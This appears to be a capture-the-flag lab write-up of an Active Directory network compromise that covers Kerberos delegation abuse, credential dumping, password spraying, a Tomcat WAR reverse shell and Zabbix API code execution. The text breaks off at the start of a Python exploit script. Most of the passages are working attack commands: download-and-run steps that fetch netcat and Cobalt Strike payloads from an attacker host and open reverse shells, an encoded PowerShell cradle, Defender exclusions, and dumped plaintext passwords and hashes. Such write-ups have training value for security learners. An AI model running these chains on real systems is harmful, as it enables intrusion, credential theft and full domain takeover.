/ptt
3 $session = new-pssession -computername corewkt002
4 invoke-command $session {whoami}
5 invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri
'http://10.10.14.10/shelly.exe' -OutFile 'c:\\Windows\\Tasks\\shelly.exe'}
6 invoke-command $session {cd 'c:\\Windows\\Tasks'; .\shelly.exe 10.10.14.10
80}

This was not intended. As SYSTEM adopts the machines AD properties, this
worked. But it is not intended.

Doing all this should return a shell:


Intended

The intended route, from Thalpius:

1. To get access to this server you need to be ilene.rasch since that user has
ExtendedProperties permission on object corewk002 (found in BloodHound ).
With this user account you can set ResourceBasedConstrainedDelegation for
corewkt001 which you have SYSTEM privileges during an other attack. The
command to use is:

1 import-module c:\windows\tasks\adm.dll -Verbose


2 set-adcomputer corewkt002 -PrincipalsAllowedToDelegateToAccount (get-
adcomputer corewkt001)

The adm.dll is this: https://github.com/samratashok/ADModule?files=1

Microsoft explains the property PrincipalsAllowedToDelegateToAccount quiet well:


This attribute is used for access checks to determine if a requestor has
permission to act on the behalf of other identities to services running as this
account.
2. Now the requestor is corewkt001 and you can impersonate any user to access
the machine. This can be done using the following commands:

1 ./Rubeus45.exe tgtdeleg
2 ./Rubeus45.exe s4u /ticket:<ticket> /impersonateuser:administrator
/msdsspn:cifs/COREWKT002.core.cyber.local /altservice:cifs,host,ldap,http
/ptt

3. Once you impersonate the user administrator you can use the following
commands to connect to corewkt002 :

1 $session = new-pssession -computername corewkt002.core.cyber.local


2 invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri
'http://10.10.14.10/nc64.exe' -OutFile 'c:\\Windows\\Temp\\nc64.exe'}
3 invoke-command $session {cd 'c:\\Windows\\Temp'; .\nc64.exe 10.10.14.10 80}

Post exploitation of corewkt002

First off, flag:

1 type \\COREWKT002.core.cyber.local\c$\Users\Administrator\flag.txt
2 Cyb3rN3t1C5{CR3@t0rS!D}

Theres only other one user here:

1 Mode               LastWriteTime         Length Name


2 ----               -------------         ------ ----
3 d-----       2/17/2020   9:52 AM               Administrator
4 d-----       3/26/2020   4:43 PM               Administrator.core
5 d-----       11/19/2019   6:57 PM               defaultuser0
6 d-r---       11/19/2019   6:38 PM               Public
7 d-----       1/10/2020   6:31 PM               Steven.Sanchez

As the flag is blaming steven for something, and the next flag is Curiosity

killed the cat , I'm going for mimikatz.

Disabling defender and running Mimikatz:


1 token::elevate
2 lsadump::secrets

Gives:

1 Domain : COREWKT002
2 SysKey : 5dd8c2773925b89651e9f48ebdf8d46c
3
4 Local name : COREWKT002 ( S-1-5-21-2266124114-256719172-1478668774 )
5 Domain name : core ( S-1-5-21-1559563558-3652093953-1250159885 )
6 Domain FQDN : core.cyber.local
7
8 Policy subsystem is : 1.18
9 LSA Key(s) : 1, default {d41a4f61-828e-cd3f-4165-8f0a0473a25e}
10 [00] {d41a4f61-828e-cd3f-4165-8f0a0473a25e}
c5f66ce25a07afd2155b7692bb7751266906233b3e1d3e674154dd9d580d0347
11
12 Secret : $MACHINE.ACC
13 cur/text: 0DlRYa42*7Ao)_#=FiBaj#NMD0M5;TUSB,h#
[:]nk,+a/u=eTVex"Kmn"WTz0d*,l"r9wetIka%lej(6jSWbJJu*VlhJW[bCX
.T^/a;WxB9D;^9HbQgu^wn
14   NTLM:99f7ed190a27e3963249b3e0e14c3194
15   SHA1:69bd6440eb8dc905ffd4f6c382968f284489e787
16 old/text: 0DlRYa42*7Ao)_#=FiBaj#NMD0M5;TUSB,h#
[:]nk,+a/u=eTVex"Kmn"WTz0d*,l"r9wetIka%lej(6jSWbJJu*VlhJW[bCX
.T^/a;WxB9D;^9HbQgu^wn
17   NTLM:99f7ed190a27e3963249b3e0e14c3194
18   SHA1:69bd6440eb8dc905ffd4f6c382968f284489e787
19
20 Secret : CachedDefaultPassword
21 old/text: 6IVx7cxECM6m57WVjrqfH1gvluKnvN
22
23 Secret : DefaultPassword
24 cur/text: zui4uaS8oeng
25
26 Secret : DPAPI_SYSTEM
27 cur/hex : 01 00 00 00 c7 08 b2 c2 2b 9d 99 fe 1d f2 1b e6 12 73 a4 5c 24 69
7a 7b b0 3c 0b 3c 78 22 8e 71 77 a9 f7 90 f4 cf 26 85 e3 ca 53 77
28   full:
c708b2c22b9d99fe1df21be61273a45c24697a7bb03c0b3c78228e7177a9f790f4cf2685e3ca
5377
29   m/u : c708b2c22b9d99fe1df21be61273a45c24697a7b /
b03c0b3c78228e7177a9f790f4cf2685e3ca5377
30 old/hex : 01 00 00 00 ad 98 bd 6f 32 c9 e8 09 92 8b ec 7d 9b 65 9b 95 f1 58
90 03 d2 db 45 8e 06 ce c0 dc 20 eb 30 ce 3a 77 93 fd b7 04 f3 4c
31   full:
ad98bd6f32c9e809928bec7d9b659b95f1589003d2db458e06cec0dc20eb30ce3a7793fdb704
f34c
32   m/u : ad98bd6f32c9e809928bec7d9b659b95f1589003 /
d2db458e06cec0dc20eb30ce3a7793fdb704f34c
33
34 Secret : NL$KM
35 cur/hex : 80 91 df 97 05 38 6d 30 b4 20 36 d9 6a 8c 86 cc 3f fe e9 74 35 a5
25 41 f9 81 96 f6 50 2f 05 81 e5 e7 e2 9d c6 ef 5e 85 73 cc c8 87 cb 1d ce
a0 6a d1 02 ac 23 5c fc 55 00 7d a7 6d 4e 95 09 1b
36 old/hex : 80 91 df 97 05 38 6d 30 b4 20 36 d9 6a 8c 86 cc 3f fe e9 74 35 a5
25 41 f9 81 96 f6 50 2f 05 81 e5 e7 e2 9d c6 ef 5e 85 73 cc c8 87 cb 1d ce
a0 6a d1 02 ac 23 5c fc 55 00 7d a7 6d 4e 95 09 1b

LSA Secrets can be seen more in detail here.

Spraying these give:

1 CORE\steven.sanchez:zui4uaS8oeng

Moving to corewebtw

To find steven can access, due to the name of the next flag containing cat , we
found a server:

1 PS C:\Windows\Tasks> .\scan.exe 10.9.15.12 0-65535


2 .\scan.exe 10.9.15.12 0-65535
3 [!]     Starting Port: 0
4 [!]     Final Port: 65535
5
6 [+]     10.9.15.12 is alive!
7 [+]     10.9.15.12:135 Open
8 [+]     10.9.15.12:445 Open
9 [+]     10.9.15.12:3389 Open
10 [+]     10.9.15.12:5985 Open
11 [+]     10.9.15.12:8009 Open
12 [+]     10.9.15.12:8080 Open
13 [+]     10.9.15.12:47001       Open
14 [+]     10.9.15.12:49691       Open
15 [+]     10.9.15.12:49692       Open
16 [+]     10.9.15.12:49664       Open
17 [+]     10.9.15.12:49665       Open
18 [+]     10.9.15.12:49667       Open
19 [+]     10.9.15.12:49668       Open
20 [+]     10.9.15.12:49669       Open
21 PS C:\Windows\Tasks>
Connecting to the server:

1 $username = 'CORE\steven.sanchez'
2 $password = 'zui4uaS8oeng'
3 $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
4 $credential = New-Object System.Management.Automation.PSCredential $username,
$securePassword
5 Invoke-Command -ComputerName corewebtw.core.cyber.local -Credential
$credential -ScriptBlock {cmd /c "powershell -exec bypass (wget
http://10.10.14.10/nc64.exe -outfile nc64.exe)"}
6 Invoke-Command -ComputerName corewebtw.core.cyber.local -Credential
$credential -ScriptBlock {cmd /c "nc64.exe 10.10.14.10 443 -e cmd.exe"}

Then, as this is Tomcat server:

1 c:\Tomcat\webapps

This can be exploited by uploading a .war file into the Tomcat Directory and
restarting the service.

1. Build the payload:

1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o


reverseshell.war

2. Get it on the server:

1 powershell.exe -c invoke-webrequest -uri http://10.10.14.10/mez0.war -outfile


c:\Tomcat\webapps\mez0.war

3. Listen, and then trigger:

1 .\nc64.exe -nvlp 443


2 powershell.exe -c invoke-webrequest -uri http://10.9.15.12:8080/mez0

Now, a shell as nt authority\network service should happen.

The Priv Esc here is easy:


1 SeImpersonatePrivilege       Impersonate a client after authentication
Enabled

Using Placky's binary, a shell was easy:

1 PS C:\Windows\Tasks> ./rottenspuds.exe -spawn_shell cmd


2 ./rottenspuds.exe -spawn_shell cmd
3 Starting DCERPC NTLM Relay...
4 GOT TYPE1 MESSAGE TOKEN-RELAY!
5 GOT TYPE2 MESSAGE (CHALLENGE) from RPCs
6 GOT TYPE3 MESSAGE (AUTH) TOKEN-RELAY
7 You are now: SYSTEM
8 Executed:
9 Process Created Successfully
10 Will Kill Calling Process
11 Microsoft Windows [Version 10.0.14393]
12 (c) 2016 Microsoft Corporation. All rights reserved.
13 C:\>
14 C:\Windows\Tasks>whoami
15 whoami
16 nt authority\system

Flag:

1 type c:\Users\Administrator\flag.txt
2 Cyb3rN3t1C5{T0mc@t_W3b@pp$}

The next flag:

1 The parent knows best

Setting an Exclusion:

1 Add-MpPreference -ExclusionPath c:\windows\tasks

Nothing else was found here.

Although, it was noted that this host, and cymx had unconstrained delegation.
Moving to cymx

Open two sessions on the current host, corewkt002 , and run these commands:

1 .\Rubeus45.exe monitor /interval:5

And in another session:

1 .\Spools.exe cybmxcyber.local corewebtw.core.cyber.local

The server should respond with a massive ticket, which can be added to klist :

1 .\Rubeus45.exe tgt /ticket:<base64>

Now, set an exclusion to get around av:

1 C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe
2 Add-MpPreference -ExclusionPath "C:\windows\tasks"
3 Invoke-WebRequest -Uri http://10.10.14.10/mimikatz.exe -outfile mimikatz.exe

Within, run mimikatz:

1 token::elevate
2 lsadump::secrets

This should give:

1 Secret : DefaultPassword
2 cur/text: 0@39Xs!X5$

Spraying these creds with Thalpius's script :


1 Starting password spray...
2 Total users found: 79
3   John.Braud is using password 0@39Xs!X5$
4 Total users found with given password: 1
5 Password spray completed successfully...

Interestingly, I dont have this guy in BloodHound .

So, I'm going to authenticate as him and grab data from cyber.local :

1 PS C:\Windows\Tasks>
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain())
2
3
4 Forest                 : cyber.local
5 DomainControllers       :
6 Children               :
7 DomainMode             : Unknown
8 DomainModeLevel         : 7
9 Parent                 :
10 PdcRoleOwner           :
11 RidRoleOwner           :
12 InfrastructureRoleOwner :
13 Name                   : cyber.local
14
15
16
17 PS C:\Windows\Tasks>

This verifies that I am on cyber.local .

Nevermind that. Hes a DA:


Owning CYBER.LOCAL

1 $username = "cyber\john.braud"
2 $password = "0@39Xs!X5$"
3 $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
4 $credential = New-Object System.Management.Automation.PSCredential $username,
$securePassword
5 $session = new-pssession -computername cydc.cyber.local -credential
$credential

And then:

1 invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri


'http://10.10.14.10/nc64.exe' -OutFile 'c:\\Windows\\Temp\\nc64.exe'}
2 invoke-command $session {c:\\windows\\temp\\nc64.exe 10.10.14.10 80 -e
cmd.exe}

Flag:
1 Cyb3rN3t1C5{P@r3nt_D0ma!n_T@ke0v3r}

Owning CORE.CYBER.LOCAL

Because I am DA on the parent, the child can also be owned by adding myself to
the Enterprise Admin Group:

1 net user mez0 mez0mez0! /add /domain


2 net group "Domain Admins" mez0 /add /domain
3 net group "Enterprise Admins" mez0 /add /domain

Now jumping to coredc.core.cyber.local :

1 Cyb3rN3t1C5{Ch!ld_D0ma!n_T@ke0v3r}

The Last Domain

The quickest way to get here is to phish, and disconnect the vpn, and switch to
linux. Then, startup cobalt and make sure amsi.ps1 and /a are hosted. Then,
upgrade shell:

1 powershell -c invoke-webrequest -uri http://10.10.14.10/nc64.exe -outfile


c:\windows\tasks\nc64.exe
2 powershell -c Start-Process -FilePath "C:\windows\tasks\nc64.exe" -
ArgumentList '-nv 10.10.14.10 80 -e cmd.exe'

Get a cobalt session:

1 powershell -c invoke-webrequest -uri http://10.10.14.10:443/artifact.exe -


outfile c:\windows\tasks\artifact.exe
2 powershell -c Start-Process -NoNewWindow -FilePath
"C:\windows\tasks\artifact.exe"

Finally, spawn a shell via netcat from within cobalt:


1 $username = "cyber\john.braud"
2 $password = "0@39Xs!X5$"
3 $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
4 $credential = New-Object System.Management.Automation.PSCredential $username,
$securePassword
5 $session = new-pssession -computername cydc.cyber.local -credential
$credential
6 invoke-command $session {powershell.exe -nop -encodedcommand
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=}

This will spawn a new session as john.braud . Then add a DA:

1 shell net user mez0 mez0mez0123! /add /domain


2 shell net group "Domain Admins" mez0 /add /domain
3 shell net group "Enterprise Admins" mez0 /add /domain

Finding an entry to d3v

The last hosts:

1 D3WEBVW.d3v.local - 10.9.30.13
2 D3WKT001.d3v.local - 10.9.30.200
3 D3WEBJW.d3v.local - 10.9.30.12
4 D3WEBAL.d3v.local - ?
5 D3DC.d3v.local - 10.9.30.10

To verify this, I'm going to run portaloo.exe across 10.9.30.1-255 .

First, use this to manage shells:

1 powershell -c Start-Process -FilePath "C:\windows\tasks\nc.exe" -ArgumentList


'-nv 10.10.14.10 80 -e cmd.exe'

Then:

1 powershell -c Start-Process -FilePath C:\windows\tasks\nc.exe -ArgumentList


'-nv 10.10.14.10 443 -e cmd.exe'
Run it:

1 .\portaloo45.exe 10.9.30.1-255

Sorting the output down to its hosts:

1 10.9.30.1
2 10.9.30.10
3 10.9.30.11
4 10.9.30.12
5 10.9.30.13
6 10.9.30.200

The IP and ports:

1 10.9.30.1:22
2 10.9.30.11:22
3 10.9.30.12:445
4 10.9.30.12:443
5 10.9.30.1:53
6 10.9.30.10:389
7 10.9.30.1:80
8 10.9.30.13:135
9 10.9.30.12:3389
10 10.9.30.12:135
11 10.9.30.12:5985
12 10.9.30.10:53
13 10.9.30.13:445
14 10.9.30.10:445
15 10.9.30.10:464
16 10.9.30.10:636
17 10.9.30.10:135
18 10.9.30.10:3389
19 10.9.30.10:88
20 10.9.30.10:5985
21 10.9.30.13:3389
22 10.9.30.13:5985
23 10.9.30.200:135
24 10.9.30.200:445
25 10.9.30.200:5985
26 10.9.30.200:3389

Nothing out of the ordinary, some ssh and rdp though.


Scanning for apps:

1 .\portaloo45.exe
10.9.30.1,10.9.30.10,10.9.30.11,10.9.30.12,10.9.30.13,10.9.30.200
80,443,8080,8443,8834,8000,8140

Only 10.9.30.12:443 came back.

Nothing was found. However, I did notice I missed 10.9.10.16.

Zabbix

1 # proxychains curl -I http://10.9.10.16/zabbix/


2 ProxyChains-3.1 (http://proxychains.sf.net)
3 curl: /usr/local/lib/libcurl.so.4: no version information available
(required by curl)
4 |S-chain|-<>-127.0.0.1:13005-<><>-10.9.10.16:80-<><>-OK
5 HTTP/1.1 200 OK
6 Date: Tue, 09 Jun 2020 19:25:29 GMT
7 Server: Apache/2.4.29 (Ubuntu)
8 Set-Cookie: zbx_sessionid=c34e0ed29b869476e27699605cc44264; HttpOnly
9 Set-Cookie: PHPSESSID=smolqvc3epfsn8pf87c2th93bj; path=/zabbix/; HttpOnly
10 Expires: Thu, 19 Nov 1981 08:52:00 GMT
11 Cache-Control: no-store, no-cache, must-revalidate
12 Pragma: no-cache
13 X-Content-Type-Options: nosniff
14 X-XSS-Protection: 1; mode=block
15 X-Frame-Options: SAMEORIGIN
16 Content-Type: text/html; charset=UTF-8

After some time, I found that the credentials were:

1 zabapi:Zabbix
Despite it saying disabled , this is actually a good message and means api

access is allowed. This exploit should work: https://www.exploit-db.com/exploits/3


9937

Heres what I learnt from the API.

Theres one user:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"user.get","params":
{"output":"extend"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'

1 {
2    "jsonrpc": "2.0",
3    "result": [
4   {
5        "userid": "3",
6        "alias": "zabapi",
7        "name": "",
8        "surname": "",
9        "url": "",
10        "autologin": "0",
11        "autologout": "0",
12        "lang": "en_US",
13        "refresh": "30",
14        "type": "2",
15        "theme": "default",
16        "attempt_failed": "0",
17        "attempt_ip": "10.9.10.10",
18        "attempt_clock": "1591730176",
19        "rows_per_page": "50"
20   }],
21    "id": 1
22 }

Two groups:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"usergroup.get","params":
{"output":"extend"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'

1 {
2    "jsonrpc": "2.0",
3    "result": [
4   {
5        "usrgrpid": "12",
6        "name": "No access to the frontend",
7        "gui_access": "2",
8        "users_status": "0",
9        "debug_mode": "0"
10   },
11   {
12        "usrgrpid": "16",
13        "name": "API Users",
14        "gui_access": "2",
15        "users_status": "0",
16        "debug_mode": "0"
17   }],
18    "id": 1
19 }

Two hosts:
1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-
Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"host.get","params":{},"auth":"e1a7d0378472f808ede17107f09bcde3",
"id":1}'

1 {
2    "jsonrpc": "2.0",
3    "result": [
4   {
5        "hostid": "10106",
6        "proxy_hostid": "0",
7        "host": "D3WKT001",
8        "status": "0",
9        "disable_until": "0",
10        "error": "",
11        "available": "1",
12        "errors_from": "0",
13        "lastaccess": "0",
14        "ipmi_authtype": "0",
15        "ipmi_privilege": "2",
16        "ipmi_username": "",
17        "ipmi_password": "",
18        "ipmi_disable_until": "0",
19        "ipmi_available": "0",
20        "snmp_disable_until": "0",
21        "snmp_available": "0",
22        "maintenanceid": "0",
23        "maintenance_status": "0",
24        "maintenance_type": "0",
25        "maintenance_from": "0",
26        "ipmi_errors_from": "0",
27        "snmp_errors_from": "0",
28        "ipmi_error": "",
29        "snmp_error": "",
30        "jmx_disable_until": "0",
31        "jmx_available": "0",
32        "jmx_errors_from": "0",
33        "jmx_error": "",
34        "name": "D3WKT001",
35        "flags": "0",
36        "templateid": "0",
37        "description": "",
38        "tls_connect": "1",
39        "tls_accept": "1",
40        "tls_issuer": "",
41        "tls_subject": "",
42        "tls_psk_identity": "",
43        "tls_psk": ""
44   },
45   {
46        "hostid": "10107",
47        "proxy_hostid": "0",
48        "host": "COREWKT002",
49        "status": "0",
50        "disable_until": "0",
51        "error": "",
52        "available": "1",
53        "errors_from": "0",
54        "lastaccess": "0",
55        "ipmi_authtype": "0",
56        "ipmi_privilege": "2",
57        "ipmi_username": "",
58        "ipmi_password": "",
59        "ipmi_disable_until": "0",
60        "ipmi_available": "0",
61        "snmp_disable_until": "0",
62        "snmp_available": "0",
63        "maintenanceid": "0",
64        "maintenance_status": "0",
65        "maintenance_type": "0",
66        "maintenance_from": "0",
67        "ipmi_errors_from": "0",
68        "snmp_errors_from": "0",
69        "ipmi_error": "",
70        "snmp_error": "",
71        "jmx_disable_until": "0",
72        "jmx_available": "0",
73        "jmx_errors_from": "0",
74        "jmx_error": "",
75        "name": "COREWKT002",
76        "flags": "0",
77        "templateid": "0",
78        "description": "",
79        "tls_connect": "1",
80        "tls_accept": "1",
81        "tls_issuer": "",
82        "tls_subject": "",
83        "tls_psk_identity": "",
84        "tls_psk": ""
85   }],
86    "id": 1
87 }

One script:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"script.get","params":
{"output":"extend"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'
1 {
2    "jsonrpc": "2.0",
3    "result": [
4   {
5        "scriptid": "12",
6        "name": "zabbix",
7        "command": "echo hello",
8        "host_access": "3",
9        "usrgrpid": "0",
10        "groupid": "0",
11        "description": "",
12        "confirmation": "",
13        "type": "0",
14        "execute_on": "0"
15   }],
16    "id": 1
17 }

I cant update a user:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"user.update","params":
{"userid":"3","type":"3"},"auth":"e1a7d0378472f808ede17107f09bcde3", "id":1}'

1 {
2    "jsonrpc": "2.0",
3    "error":
4   {
5        "code": -32602,
6        "message": "Invalid params.",
7        "data": "You are not allowed to alter privileges for user
\"zabapi\"."
8   },
9    "id": 1
10 }

I cant create a user:


1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-
Type: application/json-rpc" -d '{"jsonrpc": "2.0","method":
"user.create","params":{"alias": "mez0","passwd":
"mez0mez0123!","type":3,"usrgrps": [{"usrgrpid": "16"}],"user_medias":
[{"mediatypeid": "1","sendto": "support@company.com","active": 0,"severity":
63,"period": "1-7,00:00-24:00"}]},"auth":
"e1a7d0378472f808ede17107f09bcde3","id": 1}'

1 {
2    "jsonrpc": "2.0",
3    "error":
4   {
5        "code": -32602,
6        "message": "Invalid params.",
7        "data": "You do not have permissions to create users."
8   },
9    "id": 1
10 }

I cant create a script:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc": "2.0","method":
"script.create","params": {"name": "mez0 test","command": "curl
http://10.10.14.10","host_access":
2,"type":0,"usrgrpid":12,"execute_on":0},"auth":
"e1a7d0378472f808ede17107f09bcde3","id": 1}'

1 {
2    "jsonrpc": "2.0",
3    "error":
4   {
5        "code": -32500,
6        "message": "Application error.",
7        "data": "You do not have permission to perform this operation."
8   },
9    "id": 1
10 }

I cant update a script:


1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-
Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"script.update","params":
{"scriptid":"12","hostid":"10106"},"auth":"e1a7d0378472f808ede17107f09bcde3",
"id":1}'

1 {
2    "jsonrpc": "2.0",
3    "error":
4   {
5        "code": -32500,
6        "message": "Application error.",
7        "data": "You do not have permission to perform this operation."
8   },
9    "id": 1
10 }

But I cant execute the existing scripts: with id 12 :

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"script.execute","params":
{"scriptid":"12","hostid":"10106"},"auth":"e1a7d0378472f808ede17107f09bcde3",
"id":1}'

1 {
2    "jsonrpc": "2.0",
3    "result":
4   {
5        "response": "success",
6        "value": "hello"
7   },
8    "id": 1
9 }

The script I can run is the one I mentioned earlier:

1 {
2    "jsonrpc": "2.0",
3    "result": [
4   {
5        "scriptid": "12",
6        "name": "zabbix",
7        "command": "echo hello",
8        "host_access": "3",
9        "usrgrpid": "0",
10        "groupid": "0",
11        "description": "",
12        "confirmation": "",
13        "type": "0",
14        "execute_on": "0"
15   }],
16    "id": 1
17 }

The thing I've probably missed here is a very specific combination.

Further enumation shows that a action can be created:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc": "2.0","method":
"action.create","params":{"name": "mez0 shell","eventsource": 0,"status":
0,"esc_period": "60","filter":{"evaltype": 0,"conditions": [{"conditiontype":
3,"operator": 0,"value": "mez0 shell"}]},"operations": [{"operationtype":
1,"opcommand":{"command": "powershell -c invoke-webrequest -uri
http://10.10.14.10","type": "0","execute_on": "0"},"opcommand_hst": [{"hostid
": "10106","opcommand_hstid ": "1","operationid": "1"}]}]},"auth":
"f51a2b00ecc5539e731482d6facce321","id": 1}'

1 {
2    "jsonrpc": "2.0",
3    "result":
4   {
5        "actionids": [13]
6   },
7    "id": 1
8 }

I can get this:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"action.get","params":
{"output":"extend"},"auth":"f51a2b00ecc5539e731482d6facce321", "id":1}'

1 {
2    "jsonrpc": "2.0",
3    "result": [
4   {
5        "actionid": "9",
6        "name": "Trigger action9999",
7        "eventsource": "0",
8        "status": "0",
9        "esc_period": "60",
10        "def_shortdata": "",
11        "def_longdata": "",
12        "recovery_msg": "0",
13        "r_shortdata": "",
14        "r_longdata": ""
15   },
16   {
17        "actionid": "13",
18        "name": "mez0 shell",
19        "eventsource": "0",
20        "status": "0",
21        "esc_period": "60",
22        "def_shortdata": "",
23        "def_longdata": "",
24        "recovery_msg": "0",
25        "r_shortdata": "",
26        "r_longdata": ""
27   }],
28    "id": 1
29 }

However it doesnt trigger. Looking into the hosts, theyre both disabled:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"host.get","params":{},"auth":"f51a2b00ecc5539e731482d6facce321",
"id":1}'

1 {
2  "jsonrpc": "2.0",
3  "result": [
4   {
5      "hostid": "10106",
6      "proxy_hostid": "0",
7      "host": "D3WKT001",
8      "status": "0",
9      "disable_until": "0",
10      "error": "",
11      "available": "1",
12      "errors_from": "0",
13      "lastaccess": "0",
14      "ipmi_authtype": "0",
15      "ipmi_privilege": "2",
16      "ipmi_username": "",
17      "ipmi_password": "",
18      "ipmi_disable_until": "0",
19      "ipmi_available": "0",
20      "snmp_disable_until": "0",
21      "snmp_available": "0",
22      "maintenanceid": "0",
23      "maintenance_status": "0",
24      "maintenance_type": "0",
25      "maintenance_from": "0",
26      "ipmi_errors_from": "0",
27      "snmp_errors_from": "0",
28      "ipmi_error": "",
29      "snmp_error": "",
30      "jmx_disable_until": "0",
31      "jmx_available": "0",
32      "jmx_errors_from": "0",
33      "jmx_error": "",
34      "name": "D3WKT001",
35      "flags": "0",
36      "templateid": "0",
37      "description": "",
38      "tls_connect": "1",
39      "tls_accept": "1",
40      "tls_issuer": "",
41      "tls_subject": "",
42      "tls_psk_identity": "",
43      "tls_psk": ""
44   },
45   {
46      "hostid": "10107",
47      "proxy_hostid": "0",
48      "host": "COREWKT002",
49      "status": "0",
50      "disable_until": "0",
51      "error": "",
52      "available": "1",
53      "errors_from": "0",
54      "lastaccess": "0",
55      "ipmi_authtype": "0",
56      "ipmi_privilege": "2",
57      "ipmi_username": "",
58      "ipmi_password": "",
59      "ipmi_disable_until": "0",
60      "ipmi_available": "0",
61      "snmp_disable_until": "0",
62      "snmp_available": "0",
63      "maintenanceid": "0",
64      "maintenance_status": "0",
65      "maintenance_type": "0",
66      "maintenance_from": "0",
67      "ipmi_errors_from": "0",
68      "snmp_errors_from": "0",
69      "ipmi_error": "",
70      "snmp_error": "",
71      "jmx_disable_until": "0",
72      "jmx_available": "0",
73      "jmx_errors_from": "0",
74      "jmx_error": "",
75      "name": "COREWKT002",
76      "flags": "0",
77      "templateid": "0",
78      "description": "",
79      "tls_connect": "1",
80      "tls_accept": "1",
81      "tls_issuer": "",
82      "tls_subject": "",
83      "tls_psk_identity": "",
84      "tls_psk": ""
85   }
86 ],
87  "id": 1
88 }

"available" is set to 1 , which means disabled:


Enable host monitoring, i.e. set its status to 0.

If I try to update it, I dont get errors, but it doesnt update:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc": "2.0","method":
"host.update","params": {"hostid": "10106","status": 0},"auth":
"f51a2b00ecc5539e731482d6facce321","id": 1}'

1 {
2    "jsonrpc": "2.0",
3    "result":
4   {
5        "hostids": ["10106"]
6   },
7    "id": 1
8 }
Checking the host:

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc":"2.0",
"method":"host.get","params":{"output":"extend","filter":
{"hostid":"10106"}},"auth":"f51a2b00ecc5539e731482d6facce321", "id":1}'

1 {
2  "jsonrpc": "2.0",
3  "result": [
4   {
5      "hostid": "10106",
6      "proxy_hostid": "0",
7      "host": "D3WKT001",
8      "status": "0",
9      "disable_until": "0",
10      "error": "",
11      "available": "1",
12      "errors_from": "0",
13      "lastaccess": "0",
14      "ipmi_authtype": "0",
15      "ipmi_privilege": "2",
16      "ipmi_username": "",
17      "ipmi_password": "",
18      "ipmi_disable_until": "0",
19      "ipmi_available": "0",
20      "snmp_disable_until": "0",
21      "snmp_available": "0",
22      "maintenanceid": "0",
23      "maintenance_status": "0",
24      "maintenance_type": "0",
25      "maintenance_from": "0",
26      "ipmi_errors_from": "0",
27      "snmp_errors_from": "0",
28      "ipmi_error": "",
29      "snmp_error": "",
30      "jmx_disable_until": "0",
31      "jmx_available": "0",
32      "jmx_errors_from": "0",
33      "jmx_error": "",
34      "name": "D3WKT001",
35      "flags": "0",
36      "templateid": "0",
37      "description": "",
38      "tls_connect": "1",
39      "tls_accept": "1",
40      "tls_issuer": "",
41      "tls_subject": "",
42      "tls_psk_identity": "",
43      "tls_psk": ""
44   }
45 ],
46  "id": 1
47 }

"available" is still 1 .

Checking if the host is writable :

1 proxychains curl -s http://10.9.10.16/zabbix/api_jsonrpc.php -H "Content-


Type: application/json-rpc" -d '{"jsonrpc": "2.0","method":
"host.iswritable","params": ["10106"],"auth":
"f51a2b00ecc5539e731482d6facce321","id": 1}'

1 {
2    "jsonrpc": "2.0",
3    "result": true,
4    "id": 1
5 }

RCE

After a lot of hassle, I got RCE via my script:

1 python3 zabbix2.py 'powershell.exe -c invoke-webrequest -uri


http://10.10.14.10:443/nc64.exe -outfile c:\windows\tasks\nc64.exe'
2 python3 zabbix2.py 'c:\windows\tasks\nc64.exe -nv 10.10.14.10 80 -e cmd.exe'

As soon as this pops, I dropped a Cobalt payload to get a beacon. The script:

1 #!/usr/bin/python3
2
3 import requests
4 import json
5 import string
6 import argparse
7 from time import sleep
8 from random import randint, choice
9 from tqdm import tqdm
10
11 parser = argparse.ArgumentParser()
